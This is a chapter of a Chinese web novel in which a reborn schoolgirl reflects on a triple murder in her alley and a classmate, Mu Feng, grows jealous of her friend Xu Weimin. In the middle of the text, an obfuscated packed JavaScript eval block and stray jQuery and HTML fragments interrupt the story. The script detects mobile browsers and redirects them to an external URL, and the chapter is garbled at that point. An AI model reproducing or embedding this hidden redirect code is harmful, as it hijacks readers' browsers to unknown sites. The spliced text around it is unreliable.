年关刚过,秦遇住的巷子里,就出了一桩凶案。
事情的起因很普通,普通到每天都可能发生。
那是一个春寒料峭的清晨,负责给巷子里送纯净水的小伙子,照例来订水的人家送水。
他照着名单,一家一家的送,送到倒数第二户人家时,被这家八岁的男孩用弹弓打中了眼。
本来,七八岁的男孩玩弹弓是很平常的事,偶尔打到邻居孩子身上,被大人呵斥几句或者打一顿,也稀松平常。
巧就巧在,当天那把弹弓用的不是平时的塑料小彩球,而是男孩新买的一盒钢珠,而这个一向准头很差的男孩,破天荒打出了极其精准的一次。
钢珠擦着小伙子的左眼皮飞过。
最开始,只是眼皮有些红肿,送水的小伙子老实木讷,也没多计较。谁知回家后,视线逐渐模糊,没三两日就开始看不清东西。
小伙子到医院一问,医生说眼球受损,治疗要几万块,如果再拖延下去,眼球萎缩,就只能摘除。
这个小伙子是个孤儿,父母早亡,没上过学,只能干些送水的体力活挣个吃饭钱,思来想去,他就去找男孩的父母讨要治疗费。
或许是觉得小伙子在讹钱,或许是不愿负责,总之夫妻俩拒绝了小伙子,扔给他两百块钱,就把他轰出了家门。
据说临走时,那八岁的男孩还摆弄弹弓,冲他比划。
小伙子一只眼看不清东西,送水总出错,不到半个月就被纯净水公司辞退。
本就孑然一身,现在又没了工作,万念俱灰之下,小伙子把刀揣在怀里,半夜翻墙进了那户人家。
第二天清晨,来送水的人第一个到了案发现场,据说,那户人家的门大敞着,一家三口都倒在客厅里。
而那个行凶的小伙子,在警察到来之前,已经用一根麻绳吊死了自己。
“事情大致就是这样,总之,最近不太平,你们两个晚上不许出门,小征,放学后我去接你,小遇,晚自习后和徐伟民一起回家,我已经和他妈妈商量好了,你们俩一起互相做个伴,大人也放心。”
“嗯,知道了。”
秦遇心不在焉地答应了一声,背起书包慢吞吞往外走。
巷子里,邻居们三三两两地聚在一起,神情严肃地窃窃私语,看见她过来,就停止交谈,装作无事发生。
出事那户人家的门口,空无一人。
这条巷子里住了几十户人家,大多是同一个国企的员工,彼此熟悉,这户人家去年才搬来,秦遇甚至不知道他们的长相。
可她的心情还是很低落。
上一世,这件事发生的时候,她担惊受怕了好久,每天晚上回家,都要躲在徐伟民身后,走过这家人门前时,就要屏住呼吸、一路小跑。
这一次,心情截然不同。
她在想,如果自己能早点想起这件事,是否有机会改变这起惨剧?
比如说,如果她在事发当天,及时把男孩叫出去,他就不会用弹弓打伤送水的小伙子,之后的一系列悲剧,也就不会发生。
可是再转念一想,她根本就不记得这件事的发生时间。
上体育课的时候,穆逢踢着球从她身边跑过,跟她打招呼,她也只是懒懒地挥了挥手,挤不出一丝笑容。
穆逢的球踢到一半,提前离场,过来找她。
当时她正和姚摇在练习跳绳,看见他过来,姚摇对秦遇眨眨眼,说“我要去买雪糕吃,也给你带一个。”就跑了。
穆逢踢球踢得满身是汗,额头上的汗水在阳光下闪闪发亮,他的头发长长了一些,红色的尖端褪成红棕色。
“你怎么了?发生什么事了?”
“没事啊。”
“撒谎,明明就有事,一脸心事重重的样子,有人欺负你了?还是,你爸又……”
“不是,不是我家的事。”
穆逢微微低头,用探究的目光看着她,“那是什么?”
“穆逢,我问你,如果,我是说如果,一个人提前知道某件悲剧会发生,却没有努力去阻止,这个人是不是很差劲?”
穆逢凝视着她,忽然轻笑出声,“你说的不是人,是未卜先知的神仙吧。”
秦遇一怔,也笑了,轻声说“说的也是。”
穆逢走到她身边,和她一起看向围栏外面。
操场对面是鳞次栉比的小店,街道上走过三三两两的行人,这时候,家用轿车还没那么普及,骑自行车和轻骑摩托的人很多。
时光走得还比较慢。
“你说的这个人,和悲剧的当事人,很熟吗?”
秦遇摇头,“算是不认识吧。”
“这不就结了?除非他是救世主,生来就背负着拯救天下人的重任,否则,这个未卜先知的人,为什么要去阻止别人的悲剧发生?”
“可是,那毕竟是一场悲剧。”
穆逢转过头,认真地看着她。
“你要听听我的真实想法吗?”
她慢慢点了点头。
“网上说,全球平均每天有数十人死于自然灾害,死于交通事故的人,每天大概有三千多,死在战争和冲突里的人,更是数不胜数,对了,还有病死的、老死的、自杀的。”
“如果你是恰好经过,顺手阻止了悲剧发生,当然很好。”
“可是你没有在正好的时间经过,也没必要为此自责。”
他说着,抬头看向高远的青空,“每个人,都有自己的路要走。”
秦遇咀嚼着他的话,点了点头。
“你说得有道理。”
她没有绑定救世主系统,也不像《重启人生》的主角,有着做好事积累功德的需要。
陌生人的悲剧,不该由她负责。
可是……
她仰起头,像他一样,看向空中。澄澈的天空是近似于透明的蓝,几朵浮云静静漂浮,穆逢那轮廓分明的侧脸,就映在其间。
唯有眼前这个人,是她一定要拼劲全力去救的。
踢完球,穆逢和大黑几个勾肩搭背地去洗脸,露天水龙头里流出的水冰冷彻骨,却凉不透少年的热血。
穆逢拧开水龙头,鞠了一把凉水往脸上扑,大黑走到他身边,神秘兮兮地说,“哥,听说了吗?秦遇家的巷子里,出了一桩命案,听说一家三口都被杀了,太惨了。”
大黑说着,啧啧摇头。
冰凉的水珠顺着脸颊滑下来,他双手撑在石台上。
原来,她那副心事重重的样子,是因为这件事。
“凶手呢?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123239|176572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“听说凶手也死了,杀了人之后就上吊自杀了!”
大黑说着,抬手在脖子上用力一划,露出龇牙咧嘴的痛苦表情。
穆逢却想起秦遇之前的话,“如果一个人提前知道悲剧会发生……”
她为什么会有这样的想法?
她见过凶手?知道凶手和被害者之间的恩怨?还是……
穆逢用手抹了把脸,甩掉头发上的水珠。
无论如何,他不想看见她心事重重、一脸忧虑的模样。
晚自习快下课的时候,秦遇收到穆逢的短信。
“晚上一起走吧。”
“不行,我要和徐伟民一起回家,早晨就说好了。”
穆逢盯着短信里的“徐伟民”三个字,慢慢地打出一个“好”。
下课铃一响,姚摇就捅了捅秦遇,朝教室前门努努嘴。
“徐伟民来找你了。”
细长的像根竹竿似的徐伟民,正站在教室门口,看见她抬头,挥了挥手,秦遇也冲他挥挥手,三下五除二收拾好书包,走到他面前。
“今天怎么放学这么积极?”
徐伟民拉着她的袖子往楼下走,“别提了,自从发生了那件事,我心里就瘆得慌,还是早点回家比较好。”
“伟民,你也该学会骑自行车了,要是我们都骑车回去,那就快多了。”
“好了好了,我这周末就开始学骑车,我爸说等我学会了,给我买一辆帅气的山地车……”
两人说着,一起向校门口走去,走过篮球场的时候,秦遇“啊”的一声,想起一件事,叫住他。
“等等,我正在编的这个手链,忘记怎么收尾了,绳结总是露在外面,你教教我。”
她从口袋里摸出编织手链,是要送给穆逢的那一根,用黑色和墨绿色的线编成,中间嵌着一只水晶姜饼人挂饰。
徐伟民接过手链,借着操场的灯光翻过来看了看,“哎呀,你这里有一根线编错了,从这个地方开始,要拆掉重编。”
“啊,不会吧?编错的地方多吗?”秦遇凑过去看。
这一幕,正好落在穆逢眼里。
穆逢当然不觉得自己在默默跟随,他只是今天恰巧走得比较慢。
他停在距离两人十多米的地方,半个身子没在篮球架的阴影里,从这个角度来看,秦遇和徐伟民亲昵地靠在一起,几乎头挨着头,两只手还交叠在一起。
他心头窜起一股莫名的烦躁。
本来是担心她心情不好,想要送她回家,没想到她快乐得很,还和那个青梅竹马的徐伟民有说有笑,亲密无间。
穆逢抬起脚,大踏步走过去,经过两人身边的时候,他故意咳了一声,秦遇和徐伟民双双看过来,看清他的脸的瞬间,秦遇迅速从徐伟民手里抽回手,把一个小东西塞回兜里。
他看不清那是什么,只知道有什么亮晶晶的东西,一闪而过。
很显然,两人刚刚在交谈的,是不能和他分享的秘密。
秦遇一只手揣在兜里,抬起另一只手跟他打招呼,穆逢轻哼了一声,没说话就走了。
秦遇有点奇怪,转头问徐伟民,“他是不是生气了,上午还好好的。”
徐伟民一摊手,“我怎么知道?我跟他又不熟!”